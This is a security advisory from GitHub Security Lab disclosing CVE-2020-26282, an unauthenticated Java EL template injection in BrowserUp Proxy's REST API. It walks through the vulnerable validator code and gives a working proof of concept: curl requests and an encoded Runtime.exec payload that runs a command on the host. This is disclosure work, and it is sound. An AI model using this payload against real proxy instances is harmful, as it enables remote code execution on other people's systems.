January 12, 2021

GHSL-2020-213: Server-Side Template Injection in BrowserUp Proxy - CVE-2020-26282

Alvaro Muñoz

Coordinated Disclosure Timeline

  • 11/10/2020: Report sent to ebeland@gmail.com
  • 12/22/2020: Fix is released

Summary

A Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to an unauthenticated Remote Code Execution (RCE) vulnerability.

Product

BrowserUp Proxy

Tested Version

latest commit to the date of testing: 10147c3

Details

Remote Code Execution - JavaEL Injection

It is possible to run arbitrary code on the machine running the BrowserUp Proxy by injecting arbitrary Java Expression Language (EL) expressions.

BrowserUp Proxy uses Java Bean Validation (JSR 380) custom constraint validators such as PatternConstraint. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate(), they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. In this case PatternConstraint validates attacker controlled strings which are included in the custom constraint error validation message:

    public boolean isValid(String value, ConstraintValidatorContext context) {
      if (StringUtils.isEmpty(value)) {
        return true;
      }

      try {
        Pattern.compile(value);
        return true;
      } catch (Exception ex) {
        String errorMessage = String.format("URL parameter '%s' is not a valid regexp", value);
        LOG.warn(errorMessage);

        context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
      }
      return false;
    }

This vulnerability affects the REST API which is run in the standalone mode. The following are some of the entrypoints an attacker could use to supply an attack payload:

The default configuration properties for the REST API allows unauthenticated access and binds the server to 0.0.0.0:

proxyUsername - String, The username to use to authenticate with the chained proxy. Optional, default to null.

proxyPassword - String, The password to use to authenticate with the chained proxy. Optional, default to null.

trustAllServers - Boolean. True, Disables verification of all upstream servers' SSL certificates. All upstream servers will be trusted, even if they do not present valid certificates signed by certification authorities in the JDK's trust store. Optional, default to "false".

bindAddress - String, If running BrowserUp Proxy in a multi-homed environment, specify a desired bind address. Optional, default to "0.0.0.0".

PoC

In order to reproduce this vulnerability you can use the following steps:

  1. Start BrowserUp Proxy either programmatically or using the standalone application:
$> ./browserup-proxy -port 8080`

In a real attack scenario the proxy would be started by the victim while running tests or for other purposes. Note that the proxy is bound to all interfaces by default so an attacker could reach the test server if it is exposed

$> netstat -p tcp -van | grep LISTEN
tcp46      0      0  *.8081                 *.*                    LISTEN      131072 131072  91783      0 0x0100 0x00000006
tcp46      0      0  *.8080                 *.*                    LISTEN      131072 131072  91783      0 0x0000 0x00000006
...
  1. Create a proxy instance (8081).
$> curl -X POST http://localhost:8080/proxy
{"port":8081}

Again, in an attack scenario, the proxy would already be started. If that is not the case, an attacker can start a new proxy since this action requires no authentication.

  1. Create a new HAR
$> curl -X PUT http://localhost:8080/proxy/8081/har
  1. Force a regexp parse error by using an unclosed parenthesis and inject the payload (eg: ${1+1})
$> curl -X GET http://localhost:8080/proxy/8081/har/entries\?urlPattern=foo%24%7B1%2B1%7D\(
{"errors":[{"name":"urlPattern","errors":["URL parameter 'foo2(' is not a valid regexp"]}]}

To run arbitrary commands try the following payload:

${''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("touch /tmp/test")')}
$> curl -X GET http://localhost:8080/proxy/8081/har/entries\?urlPattern=%24%7b%27%27%2e%63%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72%27%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%67%65%74%45%6e%67%69%6e%65%42%79%4e%61%6d%65%28%27%6a%73%27%29%2e%65%76%61%6c%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%74%65%73%74%22%29%27%29%7d\(
{"errors":[{"name":"urlPattern","errors":["URL parameter 'java.lang.UNIXProcess@4cc4c20f(' is not a valid regexp"]}]}% 

The java.lang.UNIXProcess@583d3ad2 part proves that the process was run, and a filed called test will be written to /tmp

Impact

This issue leads to Remote Code execution

CVE

  • CVE-2020-26282

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-213 in any communication regarding this issue.